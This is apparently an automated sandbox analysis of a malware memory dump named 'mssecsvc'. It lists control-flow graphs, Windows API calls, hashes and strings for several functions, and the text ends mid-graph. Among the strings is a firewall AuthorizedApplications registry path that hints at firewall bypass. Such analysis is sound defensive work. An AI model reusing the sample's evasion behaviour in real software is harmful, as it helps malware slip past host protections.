                      control_flow_graph 319 b93c3d-b93c59 320 b93ca9-b93cb3 call b9252f 319->320 321 b93c5b-b93c63 319->321 328 b93cfb-b93d43 GetSystemDirectoryA call b93d1f 320->328 329 b93cb5-b93cce call b93cc2 320->329 323 b93c64-b93c67 321->323 325 b93c69-b93c6e 323->325 326 b93c93 323->326 325->326 330 b93c70-b93c91 325->330 326->323 327 b93c95-b93d43 GetWindowsDirectoryA call b93d36 326->327 340 b93d45-b93dc0 GetProcAddress LoadLibraryA call b910ce call b901cb GetTickCount call b93b76 327->340 328->340 337 b93cd4-b93cdc GetProcAddress 329->337 338 b93ccf call b926d4 329->338 330->326 342 b93cde 337->342 343 b93ce0-b93d43 call b93cf0 337->343 338->337 351 b93dc8-b93dcd call b93b76 340->351 352 b93dc2 340->352 342->343 343->340 355 b93dcf-b93de6 351->355 352->351 356 b93de8-b93df8 call b963a0 call b9273c 355->356 361 b93dfa-b93dfc 356->361 362 b93dfe-b93e1a call b963a0 356->362 363 b93e1b-b93e1c 361->363 362->363 363->356 365 b93e1e-b93e24 363->365 365->355 367 b93e26-b93e30 call b9273c 365->367 370 b93e3f-b93e78 call b9273c GetVolumeInformationA 367->370 371 b93e32-b93e3a call b92750 367->371 375 b93e7a-b93e80 370->375 376 b93e82-b93e88 370->376 371->370 377 b93e91-b93e9e 375->377 376->377 378 b93e8a 376->378 379 b93f25 377->379 380 b93ea4-b93ec3 call b93eb5 377->380 378->377 381 b93f2f 379->381 386 b93f1c-b93f1e 380->386 387 b93ec6-b93ec8 380->387 383 b93f4f-b93fd1 call b93f60 call b910ce call b93f8f 381->383 384 b93f31-b93f49 CreateThread CloseHandle 381->384 400 b93ffa-b9400b CreateEventA 383->400 401 b93fd3-b93ff8 CreateThread CloseHandle 383->401 384->383 386->379 390 b93f20 call b93405 386->390 387->381 389 b93eca-b93f14 GetModuleFileNameA 387->389 389->386 390->379 402 b94012-b9402a call b937fa 400->402 401->400 405 b9402c-b9402f 402->405 406 b94031-b94044 call b93b90 402->406 405->406 407 b9404c-b94054 405->407 412 b9404a 406->412 413 b942be-b942c5 406->413 409 b94065-b9406e 407->409 410 b94056-b94063 lstrlen 407->410 418 b94315-b9431b 409->418 419 b94074-b9407b 409->419 410->409 410->410 416 b94081-b940a0 412->416 414 b94320-b94322 RtlExitUserThread 413->414 415 b942c7-b942ce 413->415 420 b942d0-b942dc SetEvent 415->420 421 b942e2-b942e9 415->421 416->413 425 b940a6-b940b9 416->425 418->402 419->416 420->421 423 b942eb 421->423 424 b942f2-b94310 Sleep ResetEvent 421->424 423->424 424->402 427 b940bf-b9416e call b9273c call b92750 GetVersionExA call b92750 call b93358 call b94178 425->427 428 b942b7 425->428 439 b94170 427->439 440 b94195-b941a5 call b93358 427->440 428->413 441 b94192-b94194 439->441 442 b94172-b9418c 439->442 446 b941c3-b941ca 440->446 447 b941a7-b941bd CreateThread CloseHandle 440->447 441->440 442->441 448 b9418e 442->448 449 b941d0-b941eb 446->449 447->446 448->441 451 b941ed-b941f4 449->451 452 b94210-b94214 449->452 451->452 454 b941f6-b94207 GetTickCount 451->454 452->428 453 b9421a-b9421c 452->453 455 b9421e-b94236 453->455 454->452 456 b94209 454->456 457 b94238 455->457 458 b9423b-b94243 455->458 456->452 457->458 458->455 459 b94245 458->459 460 b9424b-b9424f 459->460 461 b94261-b94263 460->461 462 b94251-b94258 call b92f08 460->462 463 b94265-b9426f 461->463 462->428 468 b9425a 462->468 465 b94274-b94282 call b96541 call b9655b 463->465 465->449 473 b94288-b94292 Sleep 465->473 468->463 470 b9425c-b9425f 468->470 470->460 473->465 474 b94294-b942a5 GetTickCount 473->474 474->449 475 b942ab-b942b2 474->475 475->428 475->449
                      APIs
                      • GetWindowsDirectoryA.KERNEL32(00B96AA2,00000104), ref: 00B93CA1
                      • GetProcAddress.KERNEL32(00000000,00000002), ref: 00B93CD4
                      • GetProcAddress.KERNEL32(00000000,00B93D41), ref: 00B93D4C
                      • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00B93D5F
                      • GetTickCount.KERNEL32 ref: 00B93D93
                      • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00B96EF6,00000000,00000000,00000000,00000000), ref: 00B93E65
                      • GetModuleFileNameA.KERNEL32(00000000,00B96AA2,000000C8), ref: 00B93EE2
                      Strings
                      • ADVAPI32.DLL, xrefs: 00B93D5E
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00B93F0C
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressProc$CountDirectoryFileInformationLibraryLoadModuleNameTickVolumeWindows
                      • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                      • API String ID: 1749273276-2287716718
                      • Opcode ID: f516923bb6111dac5ea2ce27cbf4c730b644d8035d3db586d383e9b78a19a3eb
                      • Instruction ID: 5aaf2a18cdc2c8cb1b98dfdf0ceeb045181aa75daaead9e4e1659f2d8af62cae
                      • Opcode Fuzzy Hash: f516923bb6111dac5ea2ce27cbf4c730b644d8035d3db586d383e9b78a19a3eb
                      • Instruction Fuzzy Hash: 1A020571418258BFEF259F248C4ABEA7BECEF41700F0045A9EC499E082D7F45F4687A6
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B93CC2 Relevance: 31.9, APIs: 16, Strings: 2, Instructions: 432libraryloaderCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 476 b93cc2-b93cca GetModuleHandleA 477 b93ccc-b93cdc call b926d4 GetProcAddress 476->477 478 b93ce0-b93dc0 call b93cf0 GetProcAddress LoadLibraryA call b910ce call b901cb GetTickCount call b93b76 476->478 477->478 483 b93cde 477->483 491 b93dc8-b93dcd call b93b76 478->491 492 b93dc2 478->492 483->478 495 b93dcf-b93de6 491->495 492->491 496 b93de8-b93df8 call b963a0 call b9273c 495->496 501 b93dfa-b93dfc 496->501 502 b93dfe-b93e1a call b963a0 496->502 503 b93e1b-b93e1c 501->503 502->503 503->496 505 b93e1e-b93e24 503->505 505->495 507 b93e26-b93e30 call b9273c 505->507 510 b93e3f-b93e78 call b9273c GetVolumeInformationA 507->510 511 b93e32-b93e3a call b92750 507->511 515 b93e7a-b93e80 510->515 516 b93e82-b93e88 510->516 511->510 517 b93e91-b93e9e 515->517 516->517 518 b93e8a 516->518 519 b93f25 517->519 520 b93ea4-b93ec3 call b93eb5 517->520 518->517 521 b93f2f 519->521 526 b93f1c-b93f1e 520->526 527 b93ec6-b93ec8 520->527 523 b93f4f-b93fd1 call b93f60 call b910ce call b93f8f 521->523 524 b93f31-b93f49 CreateThread CloseHandle 521->524 540 b93ffa-b9400b CreateEventA 523->540 541 b93fd3-b93ff8 CreateThread CloseHandle 523->541 524->523 526->519 530 b93f20 call b93405 526->530 527->521 529 b93eca-b93f14 GetModuleFileNameA 527->529 529->526 530->519 542 b94012-b9402a call b937fa 540->542 541->540 545 b9402c-b9402f 542->545 546 b94031-b94044 call b93b90 542->546 545->546 547 b9404c-b94054 545->547 552 b9404a 546->552 553 b942be-b942c5 546->553 549 b94065-b9406e 547->549 550 b94056-b94063 lstrlen 547->550 558 b94315-b9431b 549->558 559 b94074-b9407b 549->559 550->549 550->550 556 b94081-b940a0 552->556 554 b94320-b94322 RtlExitUserThread 553->554 555 b942c7-b942ce 553->555 560 b942d0-b942dc SetEvent 555->560 561 b942e2-b942e9 555->561 556->553 565 b940a6-b940b9 556->565 558->542 559->556 560->561 563 b942eb 561->563 564 b942f2-b94310 Sleep ResetEvent 561->564 563->564 564->542 567 b940bf-b9416e call b9273c call b92750 GetVersionExA call b92750 call b93358 call b94178 565->567 568 b942b7 565->568 579 b94170 567->579 580 b94195-b941a5 call b93358 567->580 568->553 581 b94192-b94194 579->581 582 b94172-b9418c 579->582 586 b941c3-b941ca 580->586 587 b941a7-b941bd CreateThread CloseHandle 580->587 581->580 582->581 588 b9418e 582->588 589 b941d0-b941eb 586->589 587->586 588->581 591 b941ed-b941f4 589->591 592 b94210-b94214 589->592 591->592 594 b941f6-b94207 GetTickCount 591->594 592->568 593 b9421a-b9421c 592->593 595 b9421e-b94236 593->595 594->592 596 b94209 594->596 597 b94238 595->597 598 b9423b-b94243 595->598 596->592 597->598 598->595 599 b94245 598->599 600 b9424b-b9424f 599->600 601 b94261-b94263 600->601 602 b94251-b94258 call b92f08 600->602 603 b94265-b9426f 601->603 602->568 608 b9425a 602->608 605 b94274-b94282 call b96541 call b9655b 603->605 605->589 613 b94288-b94292 Sleep 605->613 608->603 610 b9425c-b9425f 608->610 610->600 613->605 614 b94294-b942a5 GetTickCount 613->614 614->589 615 b942ab-b942b2 614->615 615->568 615->589
                      APIs
                      • GetModuleHandleA.KERNEL32(00B93CBA), ref: 00B93CC2
                      • GetProcAddress.KERNEL32(00000000,00000002), ref: 00B93CD4
                      • GetProcAddress.KERNEL32(00000000,00B93D41), ref: 00B93D4C
                      • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00B93D5F
                      • GetTickCount.KERNEL32 ref: 00B93D93
                      Strings
                      • ADVAPI32.DLL, xrefs: 00B93D5E
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00B93F0C
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressProc$CountHandleLibraryLoadModuleTick
                      • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                      • API String ID: 2837544101-2287716718
                      • Opcode ID: 5b48797bfded511fe3541d43c5fd4cc9561b065424dfc698fabc9acd851576a7
                      • Instruction ID: 5a5eb340fa4b68033d6b5d1c852d35b2d7173fe9669561a3b123735a046d1d28
                      • Opcode Fuzzy Hash: 5b48797bfded511fe3541d43c5fd4cc9561b065424dfc698fabc9acd851576a7
                      • Instruction Fuzzy Hash: 2CE12271518258BFEF259F648C4ABEA7BECEF42700F0045A9EC499E082D7F45F4687A1
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B93CF0 Relevance: 31.9, APIs: 16, Strings: 2, Instructions: 409COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 616 b93cf0-b93dc0 GetModuleHandleA call b926d4 GetSystemDirectoryA call b93d1f GetProcAddress LoadLibraryA call b910ce call b901cb GetTickCount call b93b76 628 b93dc8-b93dcd call b93b76 616->628 629 b93dc2 616->629 632 b93dcf-b93de6 628->632 629->628 633 b93de8-b93df8 call b963a0 call b9273c 632->633 638 b93dfa-b93dfc 633->638 639 b93dfe-b93e1a call b963a0 633->639 640 b93e1b-b93e1c 638->640 639->640 640->633 642 b93e1e-b93e24 640->642 642->632 644 b93e26-b93e30 call b9273c 642->644 647 b93e3f-b93e78 call b9273c GetVolumeInformationA 644->647 648 b93e32-b93e3a call b92750 644->648 652 b93e7a-b93e80 647->652 653 b93e82-b93e88 647->653 648->647 654 b93e91-b93e9e 652->654 653->654 655 b93e8a 653->655 656 b93f25 654->656 657 b93ea4-b93ec3 call b93eb5 654->657 655->654 658 b93f2f 656->658 663 b93f1c-b93f1e 657->663 664 b93ec6-b93ec8 657->664 660 b93f4f-b93fd1 call b93f60 call b910ce call b93f8f 658->660 661 b93f31-b93f49 CreateThread CloseHandle 658->661 677 b93ffa-b9400b CreateEventA 660->677 678 b93fd3-b93ff8 CreateThread CloseHandle 660->678 661->660 663->656 667 b93f20 call b93405 663->667 664->658 666 b93eca-b93f14 GetModuleFileNameA 664->666 666->663 667->656 679 b94012-b9402a call b937fa 677->679 678->677 682 b9402c-b9402f 679->682 683 b94031-b94044 call b93b90 679->683 682->683 684 b9404c-b94054 682->684 689 b9404a 683->689 690 b942be-b942c5 683->690 686 b94065-b9406e 684->686 687 b94056-b94063 lstrlen 684->687 695 b94315-b9431b 686->695 696 b94074-b9407b 686->696 687->686 687->687 693 b94081-b940a0 689->693 691 b94320-b94322 RtlExitUserThread 690->691 692 b942c7-b942ce 690->692 697 b942d0-b942dc SetEvent 692->697 698 b942e2-b942e9 692->698 693->690 702 b940a6-b940b9 693->702 695->679 696->693 697->698 700 b942eb 698->700 701 b942f2-b94310 Sleep ResetEvent 698->701 700->701 701->679 704 b940bf-b9416e call b9273c call b92750 GetVersionExA call b92750 call b93358 call b94178 702->704 705 b942b7 702->705 716 b94170 704->716 717 b94195-b941a5 call b93358 704->717 705->690 718 b94192-b94194 716->718 719 b94172-b9418c 716->719 723 b941c3-b941ca 717->723 724 b941a7-b941bd CreateThread CloseHandle 717->724 718->717 719->718 725 b9418e 719->725 726 b941d0-b941eb 723->726 724->723 725->718 728 b941ed-b941f4 726->728 729 b94210-b94214 726->729 728->729 731 b941f6-b94207 GetTickCount 728->731 729->705 730 b9421a-b9421c 729->730 732 b9421e-b94236 730->732 731->729 733 b94209 731->733 734 b94238 732->734 735 b9423b-b94243 732->735 733->729 734->735 735->732 736 b94245 735->736 737 b9424b-b9424f 736->737 738 b94261-b94263 737->738 739 b94251-b94258 call b92f08 737->739 740 b94265-b9426f 738->740 739->705 745 b9425a 739->745 742 b94274-b94282 call b96541 call b9655b 740->742 742->726 750 b94288-b94292 Sleep 742->750 745->740 747 b9425c-b9425f 745->747 747->737 750->742 751 b94294-b942a5 GetTickCount 750->751 751->726 752 b942ab-b942b2 751->752 752->705 752->726
                      APIs
                      • GetModuleHandleA.KERNEL32(00B93CE5), ref: 00B93CF0
                      • GetSystemDirectoryA.KERNEL32(00B96AA2,00000104), ref: 00B93D07
                        • Part of subcall function 00B93D1F: lstrcat.KERNEL32(00B96AA2,00B93D12), ref: 00B93D20
                        • Part of subcall function 00B93D1F: GetProcAddress.KERNEL32(00000000,00B93D41), ref: 00B93D4C
                        • Part of subcall function 00B93D1F: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00B93D5F
                        • Part of subcall function 00B93D1F: GetTickCount.KERNEL32 ref: 00B93D93
                        • Part of subcall function 00B93D1F: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00B96EF6,00000000,00000000,00000000,00000000), ref: 00B93E65
                      Strings
                      • ADVAPI32.DLL, xrefs: 00B93D5E
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00B93F0C
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressCountDirectoryHandleInformationLibraryLoadModuleProcSystemTickVolumelstrcat
                      • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                      • API String ID: 215653160-2287716718
                      • Opcode ID: 260c0d83971146764b612a54da98fff840ddc31a6bb3a69eed28180f54add843
                      • Instruction ID: f82e2ce4fe6cc6181cfee966d41e6a2f487ea47cc7f754acf2db8160a9078b84
                      • Opcode Fuzzy Hash: 260c0d83971146764b612a54da98fff840ddc31a6bb3a69eed28180f54add843
                      • Instruction Fuzzy Hash: C3E11271418258BFEF259F648C4ABEA3BECEF42700F0045A9EC499E082D7F45F468765
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B93D1F Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 389stringCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 753 b93d1f-b93dc0 lstrcat call b93d36 GetProcAddress LoadLibraryA call b910ce call b901cb GetTickCount call b93b76 764 b93dc8-b93dcd call b93b76 753->764 765 b93dc2 753->765 768 b93dcf-b93de6 764->768 765->764 769 b93de8-b93df8 call b963a0 call b9273c 768->769 774 b93dfa-b93dfc 769->774 775 b93dfe-b93e1a call b963a0 769->775 776 b93e1b-b93e1c 774->776 775->776 776->769 778 b93e1e-b93e24 776->778 778->768 780 b93e26-b93e30 call b9273c 778->780 783 b93e3f-b93e78 call b9273c GetVolumeInformationA 780->783 784 b93e32-b93e3a call b92750 780->784 788 b93e7a-b93e80 783->788 789 b93e82-b93e88 783->789 784->783 790 b93e91-b93e9e 788->790 789->790 791 b93e8a 789->791 792 b93f25 790->792 793 b93ea4-b93ec3 call b93eb5 790->793 791->790 794 b93f2f 792->794 799 b93f1c-b93f1e 793->799 800 b93ec6-b93ec8 793->800 796 b93f4f-b93fd1 call b93f60 call b910ce call b93f8f 794->796 797 b93f31-b93f49 CreateThread CloseHandle 794->797 813 b93ffa-b9400b CreateEventA 796->813 814 b93fd3-b93ff8 CreateThread CloseHandle 796->814 797->796 799->792 803 b93f20 call b93405 799->803 800->794 802 b93eca-b93f14 GetModuleFileNameA 800->802 802->799 803->792 815 b94012-b9402a call b937fa 813->815 814->813 818 b9402c-b9402f 815->818 819 b94031-b94044 call b93b90 815->819 818->819 820 b9404c-b94054 818->820 825 b9404a 819->825 826 b942be-b942c5 819->826 822 b94065-b9406e 820->822 823 b94056-b94063 lstrlen 820->823 831 b94315-b9431b 822->831 832 b94074-b9407b 822->832 823->822 823->823 829 b94081-b940a0 825->829 827 b94320-b94322 RtlExitUserThread 826->827 828 b942c7-b942ce 826->828 833 b942d0-b942dc SetEvent 828->833 834 b942e2-b942e9 828->834 829->826 838 b940a6-b940b9 829->838 831->815 832->829 833->834 836 b942eb 834->836 837 b942f2-b94310 Sleep ResetEvent 834->837 836->837 837->815 840 b940bf-b9416e call b9273c call b92750 GetVersionExA call b92750 call b93358 call b94178 838->840 841 b942b7 838->841 852 b94170 840->852 853 b94195-b941a5 call b93358 840->853 841->826 854 b94192-b94194 852->854 855 b94172-b9418c 852->855 859 b941c3-b941ca 853->859 860 b941a7-b941bd CreateThread CloseHandle 853->860 854->853 855->854 861 b9418e 855->861 862 b941d0-b941eb 859->862 860->859 861->854 864 b941ed-b941f4 862->864 865 b94210-b94214 862->865 864->865 867 b941f6-b94207 GetTickCount 864->867 865->841 866 b9421a-b9421c 865->866 868 b9421e-b94236 866->868 867->865 869 b94209 867->869 870 b94238 868->870 871 b9423b-b94243 868->871 869->865 870->871 871->868 872 b94245 871->872 873 b9424b-b9424f 872->873 874 b94261-b94263 873->874 875 b94251-b94258 call b92f08 873->875 876 b94265-b9426f 874->876 875->841 881 b9425a 875->881 878 b94274-b94282 call b96541 call b9655b 876->878 878->862 886 b94288-b94292 Sleep 878->886 881->876 883 b9425c-b9425f 881->883 883->873 886->878 887 b94294-b942a5 GetTickCount 886->887 887->862 888 b942ab-b942b2 887->888 888->841 888->862
                      APIs
                      • lstrcat.KERNEL32(00B96AA2,00B93D12), ref: 00B93D20
                        • Part of subcall function 00B93D36: LoadLibraryA.KERNEL32(00B93D2B), ref: 00B93D36
                        • Part of subcall function 00B93D36: GetProcAddress.KERNEL32(00000000,00B93D41), ref: 00B93D4C
                        • Part of subcall function 00B93D36: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00B93D5F
                        • Part of subcall function 00B93D36: GetTickCount.KERNEL32 ref: 00B93D93
                        • Part of subcall function 00B93D36: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00B96EF6,00000000,00000000,00000000,00000000), ref: 00B93E65
                      Strings
                      • ADVAPI32.DLL, xrefs: 00B93D5E
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00B93F0C
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: LibraryLoad$AddressCountInformationProcTickVolumelstrcat
                      • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                      • API String ID: 2038497427-2287716718
                      • Opcode ID: 9a3d42354aede4d92b231a7e1a08d8f1ff67a071c39a48690dfdf21ca6a4930c
                      • Instruction ID: 51aea7d4b847c95fae2948d450aaddc5b0c08c45118b9c7d98ec51197e6b56e6
                      • Opcode Fuzzy Hash: 9a3d42354aede4d92b231a7e1a08d8f1ff67a071c39a48690dfdf21ca6a4930c
                      • Instruction Fuzzy Hash: 73E11271918258BFEF259F648C4ABEA3BECEF02700F0045A9EC499E082D7F45F468765
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B93D36 Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 379libraryCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 889 b93d36-b93dc0 LoadLibraryA call b93d4b GetProcAddress LoadLibraryA call b910ce call b901cb GetTickCount call b93b76 900 b93dc8-b93dcd call b93b76 889->900 901 b93dc2 889->901 904 b93dcf-b93de6 900->904 901->900 905 b93de8-b93df8 call b963a0 call b9273c 904->905 910 b93dfa-b93dfc 905->910 911 b93dfe-b93e1a call b963a0 905->911 912 b93e1b-b93e1c 910->912 911->912 912->905 914 b93e1e-b93e24 912->914 914->904 916 b93e26-b93e30 call b9273c 914->916 919 b93e3f-b93e78 call b9273c GetVolumeInformationA 916->919 920 b93e32-b93e3a call b92750 916->920 924 b93e7a-b93e80 919->924 925 b93e82-b93e88 919->925 920->919 926 b93e91-b93e9e 924->926 925->926 927 b93e8a 925->927 928 b93f25 926->928 929 b93ea4-b93ec3 call b93eb5 926->929 927->926 930 b93f2f 928->930 935 b93f1c-b93f1e 929->935 936 b93ec6-b93ec8 929->936 932 b93f4f-b93fd1 call b93f60 call b910ce call b93f8f 930->932 933 b93f31-b93f49 CreateThread CloseHandle 930->933 949 b93ffa-b9400b CreateEventA 932->949 950 b93fd3-b93ff8 CreateThread CloseHandle 932->950 933->932 935->928 939 b93f20 call b93405 935->939 936->930 938 b93eca-b93f14 GetModuleFileNameA 936->938 938->935 939->928 951 b94012-b9402a call b937fa 949->951 950->949 954 b9402c-b9402f 951->954 955 b94031-b94044 call b93b90 951->955 954->955 956 b9404c-b94054 954->956 961 b9404a 955->961 962 b942be-b942c5 955->962 958 b94065-b9406e 956->958 959 b94056-b94063 lstrlen 956->959 967 b94315-b9431b 958->967 968 b94074-b9407b 958->968 959->958 959->959 965 b94081-b940a0 961->965 963 b94320-b94322 RtlExitUserThread 962->963 964 b942c7-b942ce 962->964 969 b942d0-b942dc SetEvent 964->969 970 b942e2-b942e9 964->970 965->962 974 b940a6-b940b9 965->974 967->951 968->965 969->970 972 b942eb 970->972 973 b942f2-b94310 Sleep ResetEvent 970->973 972->973 973->951 976 b940bf-b9416e call b9273c call b92750 GetVersionExA call b92750 call b93358 call b94178 974->976 977 b942b7 974->977 988 b94170 976->988 989 b94195-b941a5 call b93358 976->989 977->962 990 b94192-b94194 988->990 991 b94172-b9418c 988->991 995 b941c3-b941ca 989->995 996 b941a7-b941bd CreateThread CloseHandle 989->996 990->989 991->990 997 b9418e 991->997 998 b941d0-b941eb 995->998 996->995 997->990 1000 b941ed-b941f4 998->1000 1001 b94210-b94214 998->1001 1000->1001 1003 b941f6-b94207 GetTickCount 1000->1003 1001->977 1002 b9421a-b9421c 1001->1002 1004 b9421e-b94236 1002->1004 1003->1001 1005 b94209 1003->1005 1006 b94238 1004->1006 1007 b9423b-b94243 1004->1007 1005->1001 1006->1007 1007->1004 1008 b94245 1007->1008 1009 b9424b-b9424f 1008->1009 1010 b94261-b94263 1009->1010 1011 b94251-b94258 call b92f08 1009->1011 1012 b94265-b9426f 1010->1012 1011->977 1017 b9425a 1011->1017 1014 b94274-b94282 call b96541 call b9655b 1012->1014 1014->998 1022 b94288-b94292 Sleep 1014->1022 1017->1012 1019 b9425c-b9425f 1017->1019 1019->1009 1022->1014 1023 b94294-b942a5 GetTickCount 1022->1023 1023->998 1024 b942ab-b942b2 1023->1024 1024->977 1024->998
                      APIs
                      • LoadLibraryA.KERNEL32(00B93D2B), ref: 00B93D36
                        • Part of subcall function 00B93D4B: GetProcAddress.KERNEL32(00000000,00B93D41), ref: 00B93D4C
                        • Part of subcall function 00B93D4B: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00B93D5F
                        • Part of subcall function 00B93D4B: GetTickCount.KERNEL32 ref: 00B93D93
                        • Part of subcall function 00B93D4B: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00B96EF6,00000000,00000000,00000000,00000000), ref: 00B93E65
                      Strings
                      • ADVAPI32.DLL, xrefs: 00B93D5E
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00B93F0C
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: LibraryLoad$AddressCountInformationProcTickVolume
                      • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                      • API String ID: 3734769084-2287716718
                      • Opcode ID: fe378de023044d5e93c1fdb9f401057012e9a432939cf19daad1b95bd79d3ac1
                      • Instruction ID: a52d58ca4f311da731e87a8ae5949c8655b0e5e7268b4affabcb93b1af76feb4
                      • Opcode Fuzzy Hash: fe378de023044d5e93c1fdb9f401057012e9a432939cf19daad1b95bd79d3ac1
                      • Instruction Fuzzy Hash: 86D10F71918258BFEF35AF648C4ABEA3BECEF01700F0045A9E8499E082D7F45F468765
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B93D4B Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 386librarythreadsleepCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 1025 b93d4b-b93d72 GetProcAddress LoadLibraryA 1026 b93d7d-b93dc0 call b901cb GetTickCount call b93b76 1025->1026 1027 b93d78 call b910ce 1025->1027 1032 b93dc8-b93dcd call b93b76 1026->1032 1033 b93dc2 1026->1033 1027->1026 1036 b93dcf-b93de6 1032->1036 1033->1032 1037 b93de8-b93df8 call b963a0 call b9273c 1036->1037 1042 b93dfa-b93dfc 1037->1042 1043 b93dfe-b93e1a call b963a0 1037->1043 1044 b93e1b-b93e1c 1042->1044 1043->1044 1044->1037 1046 b93e1e-b93e24 1044->1046 1046->1036 1048 b93e26-b93e30 call b9273c 1046->1048 1051 b93e3f-b93e78 call b9273c GetVolumeInformationA 1048->1051 1052 b93e32-b93e3a call b92750 1048->1052 1056 b93e7a-b93e80 1051->1056 1057 b93e82-b93e88 1051->1057 1052->1051 1058 b93e91-b93e9e 1056->1058 1057->1058 1059 b93e8a 1057->1059 1060 b93f25 1058->1060 1061 b93ea4-b93ec3 call b93eb5 1058->1061 1059->1058 1062 b93f2f 1060->1062 1067 b93f1c-b93f1e 1061->1067 1068 b93ec6-b93ec8 1061->1068 1064 b93f4f-b93fd1 call b93f60 call b910ce call b93f8f 1062->1064 1065 b93f31-b93f49 CreateThread CloseHandle 1062->1065 1081 b93ffa-b9400b CreateEventA 1064->1081 1082 b93fd3-b93ff8 CreateThread CloseHandle 1064->1082 1065->1064 1067->1060 1071 b93f20 call b93405 1067->1071 1068->1062 1070 b93eca-b93f14 GetModuleFileNameA 1068->1070 1070->1067 1071->1060 1083 b94012-b9402a call b937fa 1081->1083 1082->1081 1086 b9402c-b9402f 1083->1086 1087 b94031-b94044 call b93b90 1083->1087 1086->1087 1088 b9404c-b94054 1086->1088 1093 b9404a 1087->1093 1094 b942be-b942c5 1087->1094 1090 b94065-b9406e 1088->1090 1091 b94056-b94063 lstrlen 1088->1091 1099 b94315-b9431b 1090->1099 1100 b94074-b9407b 1090->1100 1091->1090 1091->1091 1097 b94081-b940a0 1093->1097 1095 b94320-b94322 RtlExitUserThread 1094->1095 1096 b942c7-b942ce 1094->1096 1101 b942d0-b942dc SetEvent 1096->1101 1102 b942e2-b942e9 1096->1102 1097->1094 1106 b940a6-b940b9 1097->1106 1099->1083 1100->1097 1101->1102 1104 b942eb 1102->1104 1105 b942f2-b94310 Sleep ResetEvent 1102->1105 1104->1105 1105->1083 1108 b940bf-b9416e call b9273c call b92750 GetVersionExA call b92750 call b93358 call b94178 1106->1108 1109 b942b7 1106->1109 1120 b94170 1108->1120 1121 b94195-b941a5 call b93358 1108->1121 1109->1094 1122 b94192-b94194 1120->1122 1123 b94172-b9418c 1120->1123 1127 b941c3-b941ca 1121->1127 1128 b941a7-b941bd CreateThread CloseHandle 1121->1128 1122->1121 1123->1122 1129 b9418e 1123->1129 1130 b941d0-b941eb 1127->1130 1128->1127 1129->1122 1132 b941ed-b941f4 1130->1132 1133 b94210-b94214 1130->1133 1132->1133 1135 